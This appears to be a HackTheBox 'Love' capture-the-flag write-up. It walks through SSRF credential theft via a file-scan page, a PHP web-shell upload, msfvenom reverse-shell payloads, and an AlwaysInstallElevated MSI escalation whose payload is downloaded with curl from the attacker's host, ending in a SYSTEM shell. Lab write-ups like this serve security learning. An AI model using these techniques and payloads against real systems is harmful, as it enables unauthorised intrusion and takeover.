Love

CTF	HackTheBox
Category	Writeup
Created	@July 4, 2021 2:02 AM
Date	
Description	
Fields	Pentest
Level	Easy
Tags	Windows

Info

Credential

User	Password	Service	Notes
admin	@LoveIsInTheAir!!!!	voting	
phoebe			
roy			email: roy@love.htb

Host

- hostname: staging.love.htb, love.htb,
- OS: Windows 10 Pro 19042
- Computer Name: Love

Http (80)

- `/`: voting system login
- `/admin`: voting admin login
- `staging.love.htb`: file scanner, can upload files

Https (443)

- 403 from remote

Http (5000)

- 403 from remote
- Credential of admin from 127.0.0.1

```
Vote Admin Creds admin: @LoveIsInTheAir!!!!
```

Path

User

1. By trying at `/admin/index.php`, I found it has an user `admin`, because error message is different from non-exist user.
2. Found `staging.love.htb` has a file upload webpage, which we can manipulate the `file` parameter to read the file on the server (SSRF).

```
# read-file.py
import requests as rq

url ='<http://staging.love.htb/beta.php>'

def read_file(f, end=None):
        res = rq.post(url, data={'file': f, 'read': 'Scan file'}).text
        start = res.find('value="Scan file')+30
        if end:
                end = start + end
                print(res[start:end])
```

```
        else:
                print(res[start:])
```

3. Use above script to view `http://127.0.0.1:5000` and get admin's credential `@LoveIsInTheAir!!!!`

```
>>> read_file('<http://127.0.0.1:5000>', 2000)
...
<strong>Vote Admin Creds admin: @LoveIsInTheAir!!!!
```

4. Login as admin and found that voters' images can upload file and trigger RCE.
5. Get user flag with RCE.

```
$ curl 'http://10.10.10.239/images/rev.php?cmd=type%20C:\Users\phoebe\Desktop\user.tx
t'
XXXXXXXXXXXXXXXXXXXXX
```

6. Upload a windows `exe` reverse shell, then use `php` RCE to execute it, then get the sweet reverse shell and get user flag.

```
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.3 LPORT=13337 -f exe > revers
e.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payloa
d
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes

# upload reverse.exe

# visit <http://10.10.10.239/images/rev.php?cmd=.\\reverse.exe>

$ nc -lvnp 13337
Listening on 0.0.0.0 13337
Connection received on 10.10.10.239 54473
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\\xampp\\htdocs\\omrs\\images>
```

Root

1. Run `winPEASx64.exe` shows that there is AlwaysInstallElevated vulnerability. So generate the payload using `msfvenom`, then install the `.msi` on the remote to get SYSTEM reverse shell. Install msi takes time, be patient.

```
# Remote
> .\\winPEASx64.exe
...
[+] Checking AlwaysInstallElevated
[?]  <https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysin
stallelevated>
    AlwaysInstallElevated set to 1 in HKLM!
    AlwaysInstallElevated set to 1 in HKCU!

# Local
$ msfvenom --platform windows --arch x64 --payload windows/x64/shell_reverse_tcp LHOS
T=10.10.16.3 LPORT=13337 --encoder x
64/xor --iterations 9 --format msi --out rev.msi
Found 1 compatible encoders
Attempting to encode payload with 9 iterations of x64/xor
x64/xor succeeded with size 503 (iteration=0)
x64/xor succeeded with size 543 (iteration=1)
x64/xor succeeded with size 583 (iteration=2)
x64/xor succeeded with size 623 (iteration=3)
x64/xor succeeded with size 663 (iteration=4)
x64/xor succeeded with size 703 (iteration=5)
x64/xor succeeded with size 743 (iteration=6)
x64/xor succeeded with size 783 (iteration=7)
x64/xor succeeded with size 823 (iteration=8)
x64/xor chosen with final size 823
Payload size: 823 bytes
Final size of msi file: 159744 bytes
Saved as: rev.msi
$ python3 -m http.server

# Remote
> curl 10.10.16.3:8000/rev.msi --output rev.msi
> msiexec /i rev.msi

# Local
$ nc -lvnp 13337
Listening on 0.0.0.0 13337
Connection received on 10.10.10.239 54556
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.


C:\\WINDOWS\\system32>whoami
nt authority\\system
```

2. Get root flag!